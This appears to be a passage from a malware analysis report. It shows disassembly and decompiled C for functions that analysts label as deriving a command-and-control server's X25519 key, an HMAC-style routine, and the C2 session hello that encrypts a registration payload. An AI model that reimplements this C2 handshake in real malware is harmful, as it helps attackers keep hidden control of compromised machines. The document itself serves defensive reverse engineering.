0041030c	ba 20 00 00 00	MOV EDX,0x20
00410311	bf c0 01 00 00	MOV EDI,0x1c0
00410316	48 8d 35 e2 7c 01 00	LEA RSI,[DAT_00427fff]
0041031d	e8 d8 d5 ff ff	CALL FUN_0040d8fa
00410322	ba 1a 00 00 00	MOV EDX,0x1a
00410327	bf c1 01 00 00	MOV EDI,0x1c1
0041032c	48 8d 35 ed 7c 01 00	LEA RSI,[DAT_00428020]
00410333	e8 c2 d5 ff ff	CALL FUN_0040d8fa
00410338	ba 17 00 00 00	MOV EDX,0x17
0041033d	bf c2 01 00 00	MOV EDI,0x1c2
00410342	48 8d 35 f2 7c 01 00	LEA RSI,[DAT_0042803b]
00410349	e8 ac d5 ff ff	CALL FUN_0040d8fa
0041034e	ba 11 00 00 00	MOV EDX,0x11
00410353	bf c3 01 00 00	MOV EDI,0x1c3
00410358	48 8d 35 12 80 01 00	LEA RSI,[DAT_00428371]
0041035f	e8 96 d5 ff ff	CALL FUN_0040d8fa
00410364	ba 12 00 00 00	MOV EDX,0x12
00410369	bf c4 01 00 00	MOV EDI,0x1c4
0041036e	48 8d 35 de 7c 01 00	LEA RSI,[DAT_00428053]
00410375	e8 80 d5 ff ff	CALL FUN_0040d8fa
0041037a	ba 10 00 00 00	MOV EDX,0x10
0041037f	bf c5 01 00 00	MOV EDI,0x1c5
00410384	48 8d 35 db 7c 01 00	LEA RSI,[DAT_00428066]
0041038b	e8 6a d5 ff ff	CALL FUN_0040d8fa
00410390	ba 0c 00 00 00	MOV EDX,0xc
00410395	bf c6 01 00 00	MOV EDI,0x1c6
0041039a	48 8d 35 d6 7c 01 00	LEA RSI,[DAT_00428077]
004103a1	e8 54 d5 ff ff	CALL FUN_0040d8fa
004103a6	ba 12 00 00 00	MOV EDX,0x12
004103ab	bf c7 01 00 00	MOV EDI,0x1c7
004103b0	48 8d 35 cd 7c 01 00	LEA RSI,[DAT_00428084]
004103b7	e8 3e d5 ff ff	CALL FUN_0040d8fa
004103bc	ba 05 00 00 00	MOV EDX,0x5
004103c1	bf c8 01 00 00	MOV EDI,0x1c8
004103c6	48 8d 35 ca 7c 01 00	LEA RSI,[DAT_00428097]
004103cd	e8 28 d5 ff ff	CALL FUN_0040d8fa
004103d2	ba 08 00 00 00	MOV EDX,0x8
004103d7	bf c9 01 00 00	MOV EDI,0x1c9
004103dc	48 8d 35 ba 7c 01 00	LEA RSI,[DAT_0042809d]
004103e3	e8 12 d5 ff ff	CALL FUN_0040d8fa
004103e8	ba 04 00 00 00	MOV EDX,0x4
004103ed	bf ca 01 00 00	MOV EDI,0x1ca
004103f2	48 8d 35 ad 7c 01 00	LEA RSI,[DAT_004280a6]
004103f9	e8 fc d4 ff ff	CALL FUN_0040d8fa
004103fe	ba 03 00 00 00	MOV EDX,0x3
00410403	bf cb 01 00 00	MOV EDI,0x1cb
00410408	48 8d 35 9c 7c 01 00	LEA RSI,[DAT_004280ab]
0041040f	e8 e6 d4 ff ff	CALL FUN_0040d8fa
00410414	ba 13 00 00 00	MOV EDX,0x13
00410419	bf cc 01 00 00	MOV EDI,0x1cc
0041041e	48 8d 35 8a 7c 01 00	LEA RSI,[DAT_004280af]
00410425	e8 d0 d4 ff ff	CALL FUN_0040d8fa
0041042a	ba 07 00 00 00	MOV EDX,0x7
0041042f	bf cd 01 00 00	MOV EDI,0x1cd
00410434	48 8d 35 88 7c 01 00	LEA RSI,[DAT_004280c3]
0041043b	e8 ba d4 ff ff	CALL FUN_0040d8fa
00410440	ba 04 00 00 00	MOV EDX,0x4
00410445	bf ce 01 00 00	MOV EDI,0x1ce
0041044a	48 8d 35 7a 7c 01 00	LEA RSI,[DAT_004280cb]
00410451	e8 a4 d4 ff ff	CALL FUN_0040d8fa
00410456	ba 6f 00 00 00	MOV EDX,0x6f
0041045b	bf cf 01 00 00	MOV EDI,0x1cf
00410460	48 8d 35 1c 7f 01 00	LEA RSI,[DAT_00428383]
00410467	e8 8e d4 ff ff	CALL FUN_0040d8fa
0041046c	ba 50 00 00 00	MOV EDX,0x50
00410471	bf d0 01 00 00	MOV EDI,0x1d0
00410476	48 8d 35 76 7f 01 00	LEA RSI,[DAT_004283f3]
0041047d	e8 78 d4 ff ff	CALL FUN_0040d8fa
00410482	ba 75 00 00 00	MOV EDX,0x75
00410487	bf d1 01 00 00	MOV EDI,0x1d1
0041048c	48 8d 35 3d 7c 01 00	LEA RSI,[DAT_004280d0]
00410493	e8 62 d4 ff ff	CALL FUN_0040d8fa
00410498	ba 65 00 00 00	MOV EDX,0x65
0041049d	bf d2 01 00 00	MOV EDI,0x1d2
004104a2	48 8d 35 9d 7c 01 00	LEA RSI,[DAT_00428146]
004104a9	e8 4c d4 ff ff	CALL FUN_0040d8fa
004104ae	ba 7d 00 00 00	MOV EDX,0x7d
004104b3	bf d3 01 00 00	MOV EDI,0x1d3
004104b8	48 8d 35 85 7f 01 00	LEA RSI,[DAT_00428444]
004104bf	e8 36 d4 ff ff	CALL FUN_0040d8fa
004104c4	ba 0b 00 00 00	MOV EDX,0xb
004104c9	bf d4 01 00 00	MOV EDI,0x1d4
004104ce	48 8d 35 d7 7c 01 00	LEA RSI,[DAT_004281ac]
004104d5	e8 20 d4 ff ff	CALL FUN_0040d8fa
004104da	ba 10 00 00 00	MOV EDX,0x10
004104df	bf d5 01 00 00	MOV EDI,0x1d5
004104e4	48 8d 35 cd 7c 01 00	LEA RSI,[DAT_004281b8]
004104eb	e8 0a d4 ff ff	CALL FUN_0040d8fa
004104f0	ba 1f 00 00 00	MOV EDX,0x1f
004104f5	bf d6 01 00 00	MOV EDI,0x1d6
004104fa	48 8d 35 c8 7c 01 00	LEA RSI,[DAT_004281c9]
00410501	e8 f4 d3 ff ff	CALL FUN_0040d8fa
00410506	ba 14 00 00 00	MOV EDX,0x14
0041050b	bf d7 01 00 00	MOV EDI,0x1d7
00410510	48 8d 35 d2 7c 01 00	LEA RSI,[DAT_004281e9]
00410517	e8 de d3 ff ff	CALL FUN_0040d8fa
0041051c	ba 0b 00 00 00	MOV EDX,0xb
00410521	bf d8 01 00 00	MOV EDI,0x1d8
00410526	48 8d 35 d1 7c 01 00	LEA RSI,[DAT_004281fe]
0041052d	e8 c8 d3 ff ff	CALL FUN_0040d8fa
00410532	ba 17 00 00 00	MOV EDX,0x17
00410537	bf d9 01 00 00	MOV EDI,0x1d9
0041053c	48 8d 35 c7 7c 01 00	LEA RSI,[DAT_0042820a]
00410543	e8 b2 d3 ff ff	CALL FUN_0040d8fa
00410548	ba 1d 00 00 00	MOV EDX,0x1d
0041054d	bf da 01 00 00	MOV EDI,0x1da
00410552	48 8d 35 69 7f 01 00	LEA RSI,[DAT_004284c2]
00410559	e8 9c d3 ff ff	CALL FUN_0040d8fa
0041055e	ba 03 00 00 00	MOV EDX,0x3
00410563	bf db 01 00 00	MOV EDI,0x1db
00410568	48 8d 35 b3 7c 01 00	LEA RSI,[DAT_00428222]
0041056f	e8 86 d3 ff ff	CALL FUN_0040d8fa
00410574	48 8b 05 75 e1 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
0041057b	48 8b 88 40 16 00 00	MOV RCX,qword ptr [RAX + 0x1640]
00410582	48 85 c9	TEST RCX,RCX
00410585	74 17	JZ LAB_0041059e
00410587	8b 90 48 16 00 00	MOV EDX,dword ptr [RAX + 0x1648]
0041058d	85 d2	TEST EDX,EDX
0041058f	7e 0d	JLE LAB_0041059e
00410591	48 89 88 f0 0b 00 00	MOV qword ptr [RAX + 0xbf0],RCX
00410598	89 90 f8 0b 00 00	MOV dword ptr [RAX + 0xbf8],EDX
LAB_0041059e:
0041059e	48 8b b0 e0 04 00 00	MOV RSI,qword ptr [RAX + 0x4e0]
004105a5	4c 8b 90 20 10 00 00	MOV R10,qword ptr [RAX + 0x1020]
004105ac	48 85 f6	TEST RSI,RSI
004105af	74 63	JZ LAB_00410614
004105b1	4d 85 d2	TEST R10,R10
004105b4	74 5e	JZ LAB_00410614
004105b6	8b 88 e8 04 00 00	MOV ECX,dword ptr [RAX + 0x4e8]
004105bc	8b 90 28 10 00 00	MOV EDX,dword ptr [RAX + 0x1028]
004105c2	85 c9	TEST ECX,ECX
004105c4	7e 4e	JLE LAB_00410614
004105c6	85 d2	TEST EDX,EDX
004105c8	7e 4a	JLE LAB_00410614
004105ca	44 8d 41 01	LEA R8D,[RCX + 0x1]
004105ce	46 8d 1c 02	LEA R11D,[RDX + R8*0x1]
004105d2	41 83 fb 0f	CMP R11D,0xf
004105d6	7f 3c	JG LAB_00410614
004105d8	4c 8d 0d 21 e0 21 00	LEA R9,[DAT_0062e600]
004105df	48 63 d9	MOVSXD RBX,ECX
004105e2	4d 63 c0	MOVSXD R8,R8D
004105e5	89 c9	MOV ECX,ECX
004105e7	4c 89 cf	MOV RDI,R9
004105ea	4d 01 c8	ADD R8,R9
004105ed	f3 a4	MOVSB.REP RDI,RSI
004105ef	89 d1	MOV ECX,EDX
004105f1	49 63 d3	MOVSXD RDX,R11D
004105f4	41 c6 04 19 2f	MOV byte ptr [R9 + RBX*0x1],0x2f
004105f9	4c 89 c7	MOV RDI,R8
004105fc	4c 89 d6	MOV RSI,R10
004105ff	f3 a4	MOVSB.REP RDI,RSI
00410601	41 c6 04 11 00	MOV byte ptr [R9 + RDX*0x1],0x0
00410606	4c 89 88 c0 0f 00 00	MOV qword ptr [RAX + 0xfc0],R9
0041060d	44 89 98 c8 0f 00 00	MOV dword ptr [RAX + 0xfc8],R11D
LAB_00410614:
00410614	58	POP RAX
00410615	5b	POP RBX
00410616	5d	POP RBP
00410617	41 5c	POP R12
00410619	41 5d	POP R13
0041061b	41 5e	POP R14
0041061d	41 5f	POP R15
0041061f	e9 5f aa ff ff	JMP FUN_0040b083

derives the C2 peer X25519 public key…

0x41136192 bytes

undefined FUN_00411361()

derives the C2 peer X25519 public key from 32 embedded bytes (hash, clamp, base-point multiply)

Cited as: E16, E31
Behaviours: B6
Called from: FUN_00411a32, FUN_00411ca1
Calls: FUN_00411056, FUN_00411241, FUN_004122e0, FUN_00412374

Decompiled C · 15 lines

void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Assembly · 29 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00411361	41 55	PUSH R13	; E16; E31
00411363	41 54	PUSH R12
00411365	49 89 f4	MOV R12,RSI
00411368	55	PUSH RBP
00411369	48 89 fd	MOV RBP,RDI
0041136c	48 83 ec 20	SUB RSP,0x20
00411370	49 89 e5	MOV R13,RSP
00411373	4c 89 ef	MOV RDI,R13
00411376	e8 65 0f 00 00	CALL FUN_004122e0
0041137b	48 89 ea	MOV RDX,RBP
0041137e	4c 89 ef	MOV RDI,R13
00411381	be 20 00 00 00	MOV ESI,0x20
00411386	e8 b6 fe ff ff	CALL FUN_00411241
0041138b	4c 89 ef	MOV RDI,R13
0041138e	be 20 00 00 00	MOV ESI,0x20
00411393	e8 dc 0f 00 00	CALL FUN_00412374
00411398	8a 45 1f	MOV AL,byte ptr [RBP + 0x1f]
0041139b	80 65 00 f8	AND byte ptr [RBP],0xf8
0041139f	48 89 ee	MOV RSI,RBP
004113a2	4c 89 e7	MOV RDI,R12
004113a5	83 e0 7f	AND EAX,0x7f
004113a8	83 c8 40	OR EAX,0x40
004113ab	88 45 1f	MOV byte ptr [RBP + 0x1f],AL
004113ae	e8 a3 fc ff ff	CALL FUN_00411056
004113b3	48 83 c4 20	ADD RSP,0x20
004113b7	5d	POP RBP
004113b8	41 5c	POP R12
004113ba	41 5d	POP R13
004113bc	c3	RET

unknown

0x411824253 bytes

undefined unknown()

Cited as: E16
Behaviours: B6
Called from: FUN_00411944
Calls: FUN_00411241

Decompiled C · 95 lines

undefined8
unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,ulong param_4,long param_5)

{
  long lVar1;
  ulong uVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  byte bVar5;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  undefined4 local_228;
  undefined4 uStack_224;
  undefined4 uStack_220;
  undefined4 uStack_21c;
  byte local_218 [64];
  byte local_1d8 [64];
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188;
  undefined4 uStack_184;
  undefined4 uStack_180;
  undefined4 uStack_17c;
  undefined4 local_178 [8];
  undefined4 local_158 [16];
  undefined4 local_118;
  undefined4 uStack_114;
  undefined4 uStack_110;
  undefined4 uStack_10c;
  undefined4 local_108;
  undefined4 uStack_104;
  undefined4 uStack_100;
  undefined4 uStack_fc;
  
  bVar5 = 0;
  if (param_5 != 0) {
    local_188 = param_1[4];
    uStack_184 = param_1[5];
    uStack_180 = param_1[6];
    uStack_17c = param_1[7];
    local_198 = *param_1;
    uStack_194 = param_1[1];
    uStack_190 = param_1[2];
    uStack_18c = param_1[3];
    puVar4 = local_178;
    for (lVar1 = 8; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = 0;
      puVar4 = puVar4 + 1;
    }
    lVar1 = 0;
    do {
      local_1d8[lVar1] = *(byte *)((long)&local_198 + lVar1) ^ 0x5c;
      local_218[lVar1] = *(byte *)((long)&local_198 + lVar1) ^ 0x36;
      lVar1 = lVar1 + 1;
    } while (lVar1 != 0x40);
    pbVar3 = local_218;
    puVar4 = local_158;
    for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + 4;
      puVar4 = puVar4 + 1;
    }
    puVar4 = &local_118;
    for (uVar2 = param_4 & 0xffffffff; uVar2 != 0; uVar2 = uVar2 - 1) {
      *(undefined1 *)puVar4 = *param_3;
      param_3 = param_3 + 1;
      puVar4 = (undefined4 *)((long)puVar4 + 1);
    }
    FUN_00411241(local_158,param_4 + 0x40,&local_238);
    pbVar3 = local_1d8;
    puVar4 = local_158;
    for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + ((ulong)bVar5 * -2 + 1) * 4;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
    local_118 = local_238;
    uStack_114 = uStack_234;
    uStack_110 = uStack_230;
    uStack_10c = uStack_22c;
    local_108 = local_228;
    uStack_104 = uStack_224;
    uStack_100 = uStack_220;
    uStack_fc = uStack_21c;
    FUN_00411241(local_158,0x60,param_5);
    return 0;
  }
  return 0xffffffff;
}

Assembly · 65 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00411824	4d 85 c0	TEST R8,R8	; E16
00411827	0f 84 f0 00 00 00	JZ LAB_0041191d
0041182d	41 54	PUSH R12
0041182f	49 89 fa	MOV R10,RDI
00411832	31 c0	XOR EAX,EAX
00411834	49 89 d1	MOV R9,RDX
00411837	55	PUSH RBP
00411838	48 89 ca	MOV RDX,RCX
0041183b	b9 08 00 00 00	MOV ECX,0x8
00411840	4d 89 c4	MOV R12,R8
00411843	53	PUSH RBX
00411844	48 81 ec 20 02 00 00	SUB RSP,0x220
0041184b	41 0f 10 02	MOVUPS XMM0,xmmword ptr [R10]
0041184f	41 0f 10 4a 10	MOVUPS XMM1,xmmword ptr [R10 + 0x10]
00411854	48 8d b4 24 c0 00 00 00	LEA RSI,[RSP + 0xc0]
0041185c	48 89 f7	MOV RDI,RSI
0041185f	0f 11 84 24 a0 00 00 00	MOVUPS xmmword ptr [RSP + local_198[0]],XMM0
00411867	f3 ab	STOSD.REP RDI
00411869	0f 11 8c 24 b0 00 00 00	MOVUPS xmmword ptr [RSP + local_188[0]],XMM1
00411871	31 c0	XOR EAX,EAX
LAB_00411873:
00411873	8a 8c 04 a0 00 00 00	MOV CL,byte ptr [RSP + RAX*0x1 + local_198[1]]
0041187a	48 8d 74 24 20	LEA RSI,[RSP + 0x20]
0041187f	48 8d 5c 24 60	LEA RBX,[RSP + 0x60]
00411884	89 cf	MOV EDI,ECX
00411886	83 f1 5c	XOR ECX,0x5c
00411889	83 f7 36	XOR EDI,0x36
0041188c	88 4c 04 60	MOV byte ptr [RSP + RAX*0x1 + local_1d7],CL
00411890	40 88 7c 04 20	MOV byte ptr [RSP + RAX*0x1 + local_217],DIL
00411895	48 ff c0	INC RAX
00411898	48 83 f8 40	CMP RAX,0x40
0041189c	75 d5	JNZ LAB_00411873
0041189e	48 8d 84 24 20 01 00 00	LEA RAX,[RSP + 0x120]
004118a6	b9 10 00 00 00	MOV ECX,0x10
004118ab	49 89 e0	MOV R8,RSP
004118ae	48 8d bc 24 e0 00 00 00	LEA RDI,[RSP + 0xe0]
004118b6	48 8d ac 24 e0 00 00 00	LEA RBP,[RSP + 0xe0]
004118be	f3 a5	MOVSD.REP RDI,RSI
004118c0	48 89 c7	MOV RDI,RAX
004118c3	4c 89 ce	MOV RSI,R9
004118c6	89 d1	MOV ECX,EDX
004118c8	f3 a4	MOVSB.REP RDI,RSI
004118ca	48 8d 72 40	LEA RSI,[RDX + 0x40]
004118ce	48 89 ef	MOV RDI,RBP
004118d1	4c 89 c2	MOV RDX,R8
004118d4	e8 68 f9 ff ff	CALL FUN_00411241
004118d9	48 89 ef	MOV RDI,RBP
004118dc	48 89 de	MOV RSI,RBX
004118df	b9 10 00 00 00	MOV ECX,0x10
004118e4	f3 a5	MOVSD.REP RDI,RSI
004118e6	0f 10 14 24	MOVUPS XMM2,xmmword ptr [RSP]
004118ea	0f 10 5c 24 10	MOVUPS XMM3,xmmword ptr [RSP + local_228[0]]
004118ef	4c 89 e2	MOV RDX,R12
004118f2	48 89 ef	MOV RDI,RBP
004118f5	be 60 00 00 00	MOV ESI,0x60
004118fa	0f 11 94 24 20 01 00 00	MOVUPS xmmword ptr [RSP + local_118[0]],XMM2
00411902	0f 11 9c 24 30 01 00 00	MOVUPS xmmword ptr [RSP + local_108[0]],XMM3
0041190a	e8 32 f9 ff ff	CALL FUN_00411241
0041190f	48 81 c4 20 02 00 00	ADD RSP,0x220
00411916	31 c0	XOR EAX,EAX
00411918	5b	POP RBX
00411919	5d	POP RBP
0041191a	41 5c	POP R12
0041191c	c3	RET
LAB_0041191d:
0041191d	83 c8 ff	OR EAX,0xffffffff
00411920	c3	RET

C2 session hello

0x411a32587 bytes

undefined FUN_00411a32()

C2 session hello: X25519 ephemeral key, shared secret, key expansion, encrypts the registration payload

Cited as: E16, E31
Behaviours: B6
Called from: FUN_004132d0
Calls: FUN_0040d5e3, FUN_00410c5b, FUN_00411056, FUN_00411361, FUN_004113bd, FUN_0041159e, FUN_004122c9, FUN_00412374

Decompiled C · 116 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
  }
  if (((param_4 != 0) && (param_5 - 1U < 200)) && (param_3 < param_2)) {
    DAT_0062e703 = '\0';
    puVar1 = (undefined1 *)(param_1 + param_3);
    iVar10 = 8;
    do {
      FUN_0040d5e3(&DAT_0062e711,0x20);
      DAT_0062e711 = DAT_0062e711 & 0xf8;
      DAT_0062e730 = DAT_0062e730 & 0x7f | 0x40;
      FUN_00411056(&DAT_0062e731,&DAT_0062e711);
      lVar8 = 0;
      bVar9 = 0;
      do {
        pbVar2 = &DAT_0062e731 + lVar8;
        lVar8 = lVar8 + 1;
        bVar9 = bVar9 | *pbVar2;
      } while (lVar8 != 0x20);
    } while ((bVar9 == 0) && (iVar10 = iVar10 + -1, iVar10 != 0));
    lVar8 = 0;
    bVar9 = 0;
    do {
      pbVar2 = &DAT_0062e731 + lVar8;
      lVar8 = lVar8 + 1;
      bVar9 = bVar9 | *pbVar2;
    } while (lVar8 != 0x20);
    if (bVar9 == 0) {
      DAT_0062e703 = '\x01';
      puVar11 = (undefined4 *)&DAT_0062e731;
      for (lVar8 = 8; lVar8 != 0; lVar8 = lVar8 + -1) {
        *puVar11 = 0;
        puVar11 = puVar11 + (ulong)bVar13 * -2 + 1;
      }
    }
    FUN_00411361(local_98,local_b8);
    if (DAT_0062e703 == '\0') {
      FUN_00410c5b(local_78,&DAT_0062e711,local_b8);
    }
    else {
      puVar11 = local_78;
      for (lVar8 = 8; lVar8 != 0; lVar8 = lVar8 + -1) {
        *puVar11 = 0;
        puVar11 = puVar11 + (ulong)bVar13 * -2 + 1;
      }
    }
    FUN_004113bd(local_78,0x20,*(undefined8 *)(DAT_0062e6f0 + 0x1960),
                 (long)*(int *)(DAT_0062e6f0 + 0x1968),local_58,0x20);
    puVar12 = &local_c4;
    for (lVar8 = 3; lVar8 != 0; lVar8 = lVar8 + -1) {
      *(undefined4 *)puVar12 = 0;
      puVar12 = (undefined8 *)((long)puVar12 + (ulong)bVar13 * -8 + 4);
    }
    if (param_5 + 0x3dU <= param_2 - param_3) {
      uVar7 = FUN_004122c9(0);
      *puVar1 = uVar7;
      uVar5 = uRam000000000062e73d;
      uVar4 = uRam000000000062e739;
      uVar3 = DAT_0062e735;
      *(undefined4 *)(puVar1 + 1) = _DAT_0062e731;
      *(undefined4 *)(puVar1 + 5) = uVar3;
      *(undefined4 *)(puVar1 + 9) = uVar4;
      *(undefined4 *)(puVar1 + 0xd) = uVar5;
      uVar6 = uRam000000000062e74d;
      uVar5 = uRam000000000062e749;
      uVar4 = uRam000000000062e745;
      uVar3 = _DAT_0062e741;
      *(undefined8 *)(puVar1 + 0x21) = local_c4;
      *(undefined4 *)(puVar1 + 0x11) = uVar3;
      *(undefined4 *)(puVar1 + 0x15) = uVar4;
      *(undefined4 *)(puVar1 + 0x19) = uVar5;
      *(undefined4 *)(puVar1 + 0x1d) = uVar6;
      *(undefined4 *)(puVar1 + 0x29) = local_bc;
      local_d0 = (param_2 - param_3) - 0x2d;
      iVar10 = FUN_0041159e(puVar1 + 0x2d,&local_d0,param_4,param_5,&DAT_0062e731,0x20);
      if (iVar10 == 0) {
        DAT_0062e704 = 1;
        iVar10 = (int)local_d0 + 0x2d;
        FUN_00412374(local_78,0x20,local_58,&local_c4);
        FUN_00412374(local_58,0x20);
        FUN_00412374(local_98,0x20);
        return iVar10 + (int)param_3;
      }
    }
  }
  return -1;
}

Assembly · 154 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00411a32	48 85 ff	TEST RDI,RDI	; E16; E31
00411a35	0f 84 3e 02 00 00	JZ LAB_00411c79
00411a3b	41 57	PUSH R15
00411a3d	41 56	PUSH R14
00411a3f	49 89 ce	MOV R14,RCX
00411a42	41 55	PUSH R13
00411a44	41 54	PUSH R12
00411a46	55	PUSH RBP
00411a47	53	PUSH RBX
00411a48	48 81 ec c8 00 00 00	SUB RSP,0xc8
00411a4f	48 85 c9	TEST RCX,RCX
00411a52	75 08	JNZ LAB_00411a5c
LAB_00411a54:
00411a54	83 c8 ff	OR EAX,0xffffffff
00411a57	e9 0b 02 00 00	JMP LAB_00411c67
LAB_00411a5c:
00411a5c	49 8d 40 ff	LEA RAX,[R8 + -0x1]
00411a60	4d 89 c5	MOV R13,R8
00411a63	48 3d c7 00 00 00	CMP RAX,0xc7
00411a69	77 e9	JA LAB_00411a54
00411a6b	48 89 d5	MOV RBP,RDX
00411a6e	48 39 f2	CMP RDX,RSI
00411a71	73 e1	JNC LAB_00411a54
00411a73	48 29 d6	SUB RSI,RDX
00411a76	c6 05 86 cc 21 00 00	MOV byte ptr [DAT_0062e703],0x0
00411a7d	48 8d 1c 17	LEA RBX,[RDI + RDX*0x1]
00411a81	4c 8d 3d 89 cc 21 00	LEA R15,[DAT_0062e711]
00411a88	48 89 74 24 08	MOV qword ptr [RSP + local_f0],RSI
00411a8d	ba 08 00 00 00	MOV EDX,0x8
LAB_00411a92:
00411a92	be 20 00 00 00	MOV ESI,0x20
00411a97	4c 89 ff	MOV RDI,R15
00411a9a	89 54 24 10	MOV dword ptr [RSP + local_e8],EDX
00411a9e	4d 8d 67 20	LEA R12,[R15 + 0x20]
00411aa2	e8 3c bb ff ff	CALL FUN_0040d5e3
00411aa7	8a 05 83 cc 21 00	MOV AL,byte ptr [DAT_0062e730]
00411aad	4c 89 fe	MOV RSI,R15
00411ab0	4c 89 e7	MOV RDI,R12
00411ab3	80 25 57 cc 21 00 f8	AND byte ptr [DAT_0062e711],0xf8
00411aba	83 e0 7f	AND EAX,0x7f
00411abd	83 c8 40	OR EAX,0x40
00411ac0	88 05 6a cc 21 00	MOV byte ptr [DAT_0062e730],AL
00411ac6	e8 8b f5 ff ff	CALL FUN_00411056
00411acb	8b 54 24 10	MOV EDX,dword ptr [RSP + local_e8]
00411acf	31 c0	XOR EAX,EAX
00411ad1	31 c9	XOR ECX,ECX
00411ad3	4c 89 e6	MOV RSI,R12
LAB_00411ad6:
00411ad6	41 0f b6 3c 04	MOVZX EDI,byte ptr [R12 + RAX*0x1]
00411adb	48 ff c0	INC RAX
00411ade	09 f9	OR ECX,EDI
00411ae0	48 83 f8 20	CMP RAX,0x20
00411ae4	75 f0	JNZ LAB_00411ad6
00411ae6	85 c9	TEST ECX,ECX
00411ae8	75 04	JNZ LAB_00411aee
00411aea	ff ca	DEC EDX
00411aec	75 a4	JNZ LAB_00411a92
LAB_00411aee:
00411aee	31 d2	XOR EDX,EDX
00411af0	31 c0	XOR EAX,EAX
LAB_00411af2:
00411af2	41 0f b6 0c 14	MOVZX ECX,byte ptr [R12 + RDX*0x1]
00411af7	48 ff c2	INC RDX
00411afa	09 c8	OR EAX,ECX
00411afc	48 83 fa 20	CMP RDX,0x20
00411b00	75 f0	JNZ LAB_00411af2
00411b02	85 c0	TEST EAX,EAX
00411b04	75 11	JNZ LAB_00411b17
00411b06	b9 08 00 00 00	MOV ECX,0x8
00411b0b	48 89 f7	MOV RDI,RSI
00411b0e	c6 05 ee cb 21 00 01	MOV byte ptr [DAT_0062e703],0x1
00411b15	f3 ab	STOSD.REP RDI
LAB_00411b17:
00411b17	48 8d 54 24 40	LEA RDX,[RSP + 0x40]
00411b1c	48 8d 44 24 60	LEA RAX,[RSP + 0x60]
00411b21	48 89 d6	MOV RSI,RDX
00411b24	48 89 c7	MOV RDI,RAX
00411b27	48 89 54 24 18	MOV qword ptr [RSP + local_e0],RDX
00411b2c	4c 8d a4 24 80 00 00 00	LEA R12,[RSP + 0x80]
00411b34	48 89 44 24 10	MOV qword ptr [RSP + local_e8],RAX
00411b39	e8 23 f8 ff ff	CALL FUN_00411361
00411b3e	80 3d be cb 21 00 00	CMP byte ptr [DAT_0062e703],0x0
00411b45	48 8b 54 24 18	MOV RDX,qword ptr [RSP + local_e0]
00411b4a	74 0e	JZ LAB_00411b5a
00411b4c	b9 08 00 00 00	MOV ECX,0x8
00411b51	31 c0	XOR EAX,EAX
00411b53	4c 89 e7	MOV RDI,R12
00411b56	f3 ab	STOSD.REP RDI
00411b58	eb 0b	JMP LAB_00411b65
LAB_00411b5a:
00411b5a	4c 89 fe	MOV RSI,R15
00411b5d	4c 89 e7	MOV RDI,R12
00411b60	e8 f6 f0 ff ff	CALL FUN_00410c5b
LAB_00411b65:
00411b65	48 8b 05 84 cb 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00411b6c	4c 89 e7	MOV RDI,R12
00411b6f	be 20 00 00 00	MOV ESI,0x20
00411b74	4c 8d bc 24 a0 00 00 00	LEA R15,[RSP + 0xa0]
00411b7c	41 b9 20 00 00 00	MOV R9D,0x20
00411b82	4d 89 f8	MOV R8,R15
00411b85	48 63 88 68 19 00 00	MOVSXD RCX,dword ptr [RAX + 0x1968]
00411b8c	48 8b 90 60 19 00 00	MOV RDX,qword ptr [RAX + 0x1960]
00411b93	e8 25 f8 ff ff	CALL FUN_004113bd
00411b98	48 8d 54 24 34	LEA RDX,[RSP + 0x34]
00411b9d	31 c0	XOR EAX,EAX
00411b9f	b9 03 00 00 00	MOV ECX,0x3
00411ba4	48 89 d7	MOV RDI,RDX
00411ba7	48 89 54 24 18	MOV qword ptr [RSP + local_e0],RDX
00411bac	f3 ab	STOSD.REP RDI
00411bae	49 8d 45 3d	LEA RAX,[R13 + 0x3d]
00411bb2	48 39 44 24 08	CMP qword ptr [RSP + local_f0],RAX
00411bb7	0f 82 97 fe ff ff	JC LAB_00411a54
00411bbd	31 ff	XOR EDI,EDI
00411bbf	e8 05 07 00 00	CALL FUN_004122c9
00411bc4	48 8b 54 24 18	MOV RDX,qword ptr [RSP + local_e0]
00411bc9	4c 89 e9	MOV RCX,R13
00411bcc	48 8d 7b 2d	LEA RDI,[RBX + 0x2d]
00411bd0	88 03	MOV byte ptr [RBX],AL
00411bd2	48 8b 44 24 34	MOV RAX,qword ptr [RSP + local_c4]
00411bd7	48 8d 74 24 28	LEA RSI,[RSP + 0x28]
00411bdc	41 b9 20 00 00 00	MOV R9D,0x20
00411be2	0f 10 05 48 cb 21 00	MOVUPS XMM0,xmmword ptr [DAT_0062e731]
